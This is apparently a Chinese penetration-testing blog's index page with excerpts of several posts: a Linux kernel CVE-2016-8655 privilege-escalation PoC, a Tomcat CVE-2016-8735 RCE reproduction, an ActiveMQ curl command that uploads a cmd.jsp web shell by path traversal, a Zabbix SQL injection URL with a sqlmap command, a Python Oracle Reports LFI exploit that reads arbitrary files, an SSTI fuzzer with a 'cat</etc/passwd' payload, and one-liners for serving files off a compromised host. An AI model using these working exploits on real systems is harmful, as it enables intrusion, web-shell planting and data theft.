Exploit

CVE-2016-8655:Linux内核竞争条件漏洞提权 (PoC)

CVE-2016-8655:Linux内核竞争条件漏洞提权 (PoC)
  CVE-2016-8655参考链接:http://www.freebuf.com/vuls/122152.html   EXP:exp说明:     根据作者提示,他提供了部分内核版本的测试偏移,如果要测试其他的版本,可能需要手动添加。添加地址如下截图:struct offset {     char *kernel_version;     unsigned long proc_dostring;     unsigned long modprobe_path;     unsigned long register_sysctl_table;     unsigned long set_memory_rw; };     需要添加一组结构体,分别由:proc_dostring、modprobe_path、register_sysctl_table、set_memory_rw    组成。    这四个参数的值可以到文件查看/proc/kallsyms 命令: sudo cat /proc/kallsyms      效果:Kali2.0 测试成功,ubuntu14.04.1内核3.19测试不成功。            PS:内核版本需要3.2以上... 继续阅读 »
Bash编程

跟老司机学shell技巧

跟老司机学shell技巧
记录绝对实用的shell技巧      处理payload时会用到的: 1、转化payload字符串命令: echo xxx | sed 's/\(..\)/\\x\1/g' 原字符串: 3f400000707078740008656e747279536512e6c616e67278707871007e004f 转换后: \x3f\x40\x00\x00\x70\x70\x78\x74\x00\x08\x65\x6e\x74\x72\x79\x53\x65\x12\xe6\xc6\x16\xe6\x72\x78\x70\x78\x71\x00\x7e\x00\x4f    命令: echo 3f400000707078740008656e747279536512e6c616e67278707871007e004f | sed 's/\(..\)/\\x\1/g' python实现方式: payload_cmd = 'cmd /c calc.exe' payload_cmd_hex ='' hex_tmp = payload_cmd.encode('hex') i=0 while i< (len(hex_tmp)):     payload_cmd_hex = payload_cmd_hex + '\x'+hex_tmp[i:i+2]     i = i+2 print len(payload_cmd_hex) by 曲总 方式1 hex_tmp = payload_cmd.encode('hex') length_hex = chr(len(hex_tmp) / 2) length_hex = "%02x" % (len(hex_tmp) / 2) 方式2 chr((len(hex_tmp) / 2)).encode('hex')... 继续阅读 »
渗透技巧

关于Tomcat远程代码执行漏洞(CVE-2016-8735)

关于Tomcat远程代码执行漏洞(CVE-2016-8735)
     最近大家都在预警这个漏洞,虽然很鸡肋,但是也有躺枪的。周末我也赶着热度,复现了一把这个RCE。踩过了很多坑,   网上漫天飞的预警中,却没有人真正说明白了,大佬们都不屑于说这么细节都东西吗?菜鸟表示压力很大。    坑点: server.xml里面配置使用JmxRemoteLifecycleListener这个类型的监听器 JMX配置不需要账号密码认证 tomcat的libs里面需要存在jmx的支持包和ysoserial支持的存在反序列化漏洞的Jar包 本地测试效果: 远程RCE: ** ** 提供一下测试环境和新编译的ysoserial:     环境:apache-tomcat-8.0.36      链接:http://pan.baidu.com/s/1i4H9ryH 密码:0jeu **关于利用细节,推荐看师傅的这篇良心文章:http://www.mottoin.com/93100.html ** 我写的EXP:TomcatCVE8753_EXP ** **... 继续阅读 »
渗透技巧

ActiveMQExP-新

ActiveMQExP-新
$ curl -u 'admin:admin' -v -X PUT --data "@cmd.jsp" http://192.168.1.114:8161/fileserver/..\\admin\\cmd.jsp     cmd.jsp                Commands with JSP                                            效果图: 学习自: http://0day.today:100/exploit/26461 老的方法可以用我写的exp脚本: https://github.com/coffeehb/Some-PoC-oR-ExP/tree/master/ActiveMQExP... 继续阅读 »
渗透技巧

Zabbix SQL 注入漏洞[漏洞预警]

Zabbix SQL 注入漏洞[漏洞预警]
来源:网络    0x01.漏洞概述        zabbix 是一个开源的企业级性能监控解决方案。        官方网站:http://www.zabbix.com        zabbix 的 jsrpc 的 profileIdx2 参数存在 insert 方式的 SQL 注入漏洞,攻击者无需授        权登陆即可登陆 zabbix 管理系统,也可通过 script 等功能轻易直接获取 zabbix 服务        器的操作系统权限。    0x02.影响程度        攻击成本:低        危害程度:高        是否登陆:不需要        影响范围:2.0.5 2.0.13 2.2.x, 2.4.2 2.4.5 2.4.7 2.4.8 2.5.0 3.0.0-3.0.3。(其他版本未经测试)    0x03.漏洞测试        在您的 zabbix 的地址后面加上如下 url:/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid =0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2 =2’3297&updateProfile=true&screenitemid=&period=3600&stim e=20170813040734&resourcetype=17&itemids%5B23297%5D=232 97&action=showlatest&filter=&filter_task=&mark_color=1        输出结果,出现如下内容表示漏洞存在:                            补充:        以上为仅为漏洞验证测试方式。        Sqlmap 验证:Sqlmap.py –u “http://xxxx//jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&ti mestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile =history.php&profileIdx=web.item.graph&profileIdx2=2’3297&updateProfile=tr ue&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&ite mids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color =1” --dbms=mysql -–level 3 --time-sec 10 --dbs --random-agent –p “profileIdx2”    0x04.修复方案:            尽快升级到最新版, 3.0.4 版本已经修补.            安全提示            监控系统监控着每个企业的核心资产,一旦被黑客入侵控制,等同帮助黑客进一步渗透企            业敞开了大门。            请大家务必重视,并尽快修补此漏洞。... 继续阅读 »
Bash编程

一个博客备份Bash脚本

一个博客备份Bash脚本
       为了保证blog的数据安全,用bash写了一个粗糙的打包备份web和数据库的脚本,结合定时任务,每日对VPS数据进行安全备份。我的Bash备份脚本如这样:~# cat /home/script/backzblog.sh  #!/bin/bash #backup tool webDIR="www`date +%Y%m%d`.tgz" Day="`date +%Y%m%d`" backupDIR="/mnt/CF_HB/`date +%Y%m%d`" sqlDIR="sql`date +%Y%m%d`.tgz" /bin/mkdir "${backupDIR}" #mount disk /bin/mount -t ntfs-3g /dev/sdb5 "/ment/CF_HB" #backup web cd /xxxx/wwwroot/ && /bin/tar zcf "${webDIR}"  --exclude=*.tgz html/ && echo "backup web success !!!"  /bin/mv "${webDIR}" "${backupDIR}" #backup database /sbin/service mysql stop cd /xxx/xxxx/mysql/var/ && /bin/tar zcf "${sqlDIR}"  --exclude=*.tgz blog/ && echo "backup sql success !!!"  /bin/mv "${sqlDIR}" "${backupDIR}" /sbin/service mysql start #/bin/umount -v /dev/sdb5         做了哪些处理:                 1、挂载第二个硬盘                 2、以当前年月日格式创建目录如:20150709                 3、tar打包web目录下所有文件与目录                 4、关闭数据库,tar打包数据库数据文件                 5、mv备份文件到备份地址,重启mysql服务。        效果:[root@cloud mnt]# /home/script/backzblog.sh  backup web success !!! Shutting down MySQL. SUCCESS!  backup sql success !!! Starting MySQL. SUCCESS!  [root@cloud mnt]# ls CF_HB/ 20160805  System Volume Information [root@cloud mnt]# ls CF_HB/20160805/ sql20160805.tgz  www20160805.tgz [root@cloud mnt]#... 继续阅读 »
Python编程

一个Fuzzing服务器端模板注入漏洞的半自动化工具

一个Fuzzing服务器端模板注入漏洞的半自动化工具
    0x01. 背景            乌云还在的时候,猪猪侠爆一个XX银行的OGNL表达式注入漏洞,拿到了第一滴血。然后,唐朝实验室爆了个Spring-Boot的SPEL注入漏洞,虽然不是第一滴血,但是让我有了一个想法。因为看到过曾经黑帽大会有国外研究者写的一个很好的Paper:名字:us-15-Kettle-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-wp.pdf  里面提到了服务器端模板注入导致的远程命令执行类型漏洞产生。    0x02. 萌芽            我对远程命令执行漏洞的理解就是以各种方式直接或间接的导致远程服务器执行成功了你想要让它执行的系统命令的一类漏洞,英文叫:Remote Command Execute Vulnerability(简称RCE漏洞),这是一种很简单暴力的漏洞,一种一言不合就可以rm -rf /或者 format /fs C: 的致命漏洞。哪么都有些什么类型的命令执行漏洞,可以看看exploit-db上关于RCE漏洞的exp有哪些。点击查看     下面是我简单的归了一下类别,RCE漏洞包括但不限于下面提到的。应用程序开发框架里的RCE            这里的框架包括但不仅限于:Struts2框架/xwork框架,ThinkPhp框架,Spring框架 ,IOSurface编程框架类中间件平台/服务应用平台的RCE            这里的代表就举例之前火的JAVA反序列化漏洞影响下的:WebLogic/Jboss/WebSphere/Jenkins、还有比如IIS,nginx,apache因文件名解析,路径解析问题导致的命令执行类,还有Elasticsearch,Redis,Zabbix ,mongodb等各种为业务应用,为数据存储提供服务的软件的命令执行类。应用程序里的RCE            应用程序编写中调用系统API接口,调用系统命令执行函数,程序中系统命令执行相关方法的不恰当使用等导致的一类。第三方应用里的RCE            最喜闻乐见的就是各种CMS被曝SQL注入,命令执行漏洞,代码执行漏洞,这类CMS共同特点就是支持第三方插件,支持用户对原cms程序框架结构进行改造。当然还有之前火了的ImageImagick图形处理库的RCE,和 fffmep导致的RCE等等。等等等          穷尽脑汁就想到了上面这些,有遗漏的典型分类还望大牛多多留言不吝赐教。          然后我好奇的上乌云搜了搜公开的漏洞里(PS: 打开虚拟机搜了搜)关键字:命令执行 的案例。                           公开的有2373个案例,119页,我翻了很多页案例,其中以刷Struts2的S2-xxx的最多。命令执行漏洞案例里我看到了下面几类:OGNL表达式|程序代码注入导致的RCE           1. Struts2的S2-xxx系列,2. 参数里注入或直接传值OGNL表达式,3. 变量名里或参数里注入编程语言基本语法代码系统命令注入|模板代码注入导致的RCE:            1. 变量名里或参数里注入系统命令,2. 变量名里或参数里注入框架模板代码,配置或业务设计不当导致的RCE           1. RMI对外匿名开放或服务未授权导致 2. 文件解析执行绕过 3. 缓存模板,日志记录,请求信息等被带入奇葩业务执行的 3. 业务应用接口,系统接口等权限不当导致的等等。。。            我的重点放在了参数中被带入了系统命令,程序代码,OGNL表达式,模板代码之类导致的RCE漏洞发生的情况。这类情况,有个共同点,大都是通过HTTP/HTTPS请求出现。之前,顺着之前流行的sqlmapapi的思路,我想是否可以同样实现一个, 你上着网就把漏洞给挖出来了呢?萌生了这个想法,于是就有了这么个小脚本。    0x03. 实现.             基于sqlmapapi的实现思路,同样用到了代理正常流量,提取Fuzzing点,带入测试payload进行Fuzzing测试。             实现环境:                   1、Python 2.7.8 ,Win8.1 x64             第三方模块(版本):                   2、requests (2.9.1)、tornado (4.3)            先用Tornado实现代理正常上网,定义SSTIF_Fuzz类用于进行测试,SSTIF_Fuzz类里面定义了下面的函数:             1、_init_payloads_:  初始化各种测试payload的函数,里面现在已经具备了一些测试payload,包括通用的,PHP基础代码,JAVA语法的,OGNL表达式,EL表达式,SPEL表达式,Groovy测试payload,鸟哥爆的CA technologies存在远程命令执行漏洞poc.(暂时就这么多,会不断补充,除非证明此思路此脚本不可行。)             2、HttpHelper :发出带有payload的构造好的请求,根据规则(响应数据包括字符串:10516*61501的结果:646744516,或者在自己配置的cloudeye里面手工确认)判定是否存在RCE漏洞。             3、Fuzzing_GET :分析GET请求中的变量-值(key-value)组合,目前是对每一个value进行测试,未实现对key即变量名进行测试。             4、Fuzzing_HEADER:未实现,因为在乌云的案例中,发现有在Referer中,注入命令导致的RCE的案例,所以未来会考虑对这里的参数进行测试。             5、FileHelper:将测试可能存在RCE漏洞的记录在rce_success_result.txt文件里,格式例如:+==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+ +=+URL: http://202.111.222.333/index.jsp?id=1111&page=222&count=123 +=+method: GET +=+param: id +=+payload: java.lang.Runtime.getRuntime().exec('cat</etc/passwd;$BASH') +==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==++==+            记录上面的一条,就可以比较清晰的看出要表达的意思了。     0x04. 使用.                1、安装第三方模块pip install requests pip install tornado                2、修改SSTIF_Fuzz类中配置文件:大概在第49行: self.my_cloudeye = "xxxx.dnslog.info" 这里配置为你的dnslog的域名地址。                3、然后找到一个没有使用的端口,命令:python ssitf.py 8081  启用代理监听8081端口                4、和设置burpsuite一样,浏览器设置通过8081代理端口上网,然后后面就像使用Sqli半自动化工具那样安心上你的网吧。           注意:                 ProxyHandler类中定义了黑名单请求后缀,域名黑名单,这是为了避免带来麻烦的,可以自己添加:大概在246-250行代码处:url_ext_black = ['ico','flv','css','jpg','png','jpeg','gif','pdf','ss3','txt','rar','zip','avi','mp4','swf','wmi','exe','mpeg'] domain_black = ['gov.cn','gov.com','mil.cn','police.cn','127.0.0.1','localhost','doubleclick','cnzz.com','baidu.com','40017.cn','google-analytics.com','googlesyndication','gstatic.com','bing.com','google.com','sina.com','weibo.com']   0x05. 总结.              这个脚本做了什么:                    1、从乌云上,从国外的研究者paper上拔下来了一些payload,作为fuzzing的依据。                    2、实现了代理,从正常上网流量中提取GET和POST请求中的提取有效的参数作为Fuzzing测试点。                    3、实现了个初级版本。              反思不足:                    1、payload是固定死的,这是一大弊端。                    2、无法支持HTTPS流量的处理,这是技术盲点。                    3、Fuzzing太慢,目前是单线程的。                    4、Fuzzing情况考虑不全,应该是思路和认知盲点。                    5、没有考虑狗,软硬防护产品的拦截绕过问题。             最后,看了很多案例,RCE其实就是插入那些东西进去,带入那些东西进去就可以简单初步判断是否存在该漏洞了,我感觉这是一种不错的思路,只是要实现自己的自动化挖掘漏洞神器还是长路漫漫~Github地址: SSTIF文章的:http://blog.portswigger.net/2015/08/server-side-template-injection.html 老外的:https://github.com/epinna/tplmap  (这差距啊。。。。)... 继续阅读 »
思考人生

博客说明

博客说明
首先欢迎你的到来,然后本博客之前为自己做笔记用了一段时间,现在打算将其整理下,希望多和大牛们互相学习,互相分享。... 继续阅读 »
Exploit

Oracle Reports LFI——EXP

Oracle Reports LFI——EXP
#!/usr/bin/python import sys, urllib2    # Import the required modules for the vulnerability from termcolor import colored   # Need to download python module "termcolor"   if len(sys.argv) != 2:    # Checks to make sure that a URL was supplied as a sys argument "<script> <URL>"   print "Usage: "+sys.argv[0]+" <URL>"   sys.exit(0)   URL=sys.argv[1]        # Assigns URL variable and prints out message print "[+] Attempting CVE-2012-3152 - Oracle Reports LFI"   while True:        # Endless loop printing out a "~$ " and getting user input via "raw_input" to the command variable   resource=raw_input(colored("~$ ", "red"))   req = '/reports/rwservlet?report=test.rdf+desformat=html+destype=cache+JOBTYPE=rwurl+URLPARAMETER="file:///'+resource+'"'   try:                    # Sets up a Try/Except loop so exceptions are handled cleanly     response=urllib2.urlopen(URL+req)     # Sends request and prints the response     for line in response.readlines():       print line.strip()   except Exception as e: print e... 继续阅读 »
渗透技巧

一句话开启简单的Web服务器

一句话开启简单的Web服务器
    0x01. 背景                 在渗透测试时,有时候控制了目标服务器,可以执行系统命令。为了方便直观的浏览和从目标服务器上取得一些文件,这个时候可以尝试使用系统支持的python、php或ruby命令开启一个HTTP服务器或者FTP服务器或者其他的【PS: 我不知道的】,让我们的更进一步渗透更加方便一些。下面演示的是我知道的几种开启HTTP服务器或FTP服务器的方式。    0x02. Python 开启HTTP服务器              使用Python命令:     python -m SimpleHTTPServer YourPort              SimpleHTTPServer是一个Python的模块,需要服务器安装好这个模块。             效果:              这个可以命令会以当前目录为根目录,开启一个发HTTP服务器,可以遍历目录下载想要下载的文件。    0x03.PHP 开启HTTP服务器            使用PHP命令:      php -S 0.0.0.0:8088 -t /var/   #用法: php -S IP:端口  -t 服务器根路径          从PHP5.4.0开始,就内置了一个简单的web服务器了,详细见:                                                                     http://php.net/manual/en/features.commandline.webserver.php                   执行命令后,会开启php内置的web服务器,以-t后设置的参数为根目录。              效果:               浏览器访问,可见HTTP服务器已经开启成功了,但是这个服务器默认不能遍历目录,所以要下载取得目标上的文件,需要加上他的路径请求。                 看看当前目录下有什么文件:                    我们想要下载/var/www/wwwroot.zip文件到本地,那么浏览器请求:http://192.168.64.133:8088/www/wwwroot.zip     也会解析PHP,那么是不是可以写个shell,然后用菜刀连上去更方便呢? 无限的遐想。。。    0x04.Ruby 开启HTTP服务器                使用Ruby命令:      ruby -run -ehttpd . -p3000 #  ruby -run -ehttpd 路径 -p端口                 通过执行ruby命令,在以“路径”为HTTP根目录,-p指定的端口,开启一个简单的HTTP服务器。         效果:                            0x05.Python开启FTP服务器            使用Python命令:      python -m pyftpdlib -p 2121             同样需要目标上安装pyftplib模块支持         效果:     0x06.附上两个脚本            基于BaseHTTPServer的简单上传下载脚本:                        BaseHTTPServer             FTP脚本:                        SimpleFtpServer推荐:开启Web服务... 继续阅读 »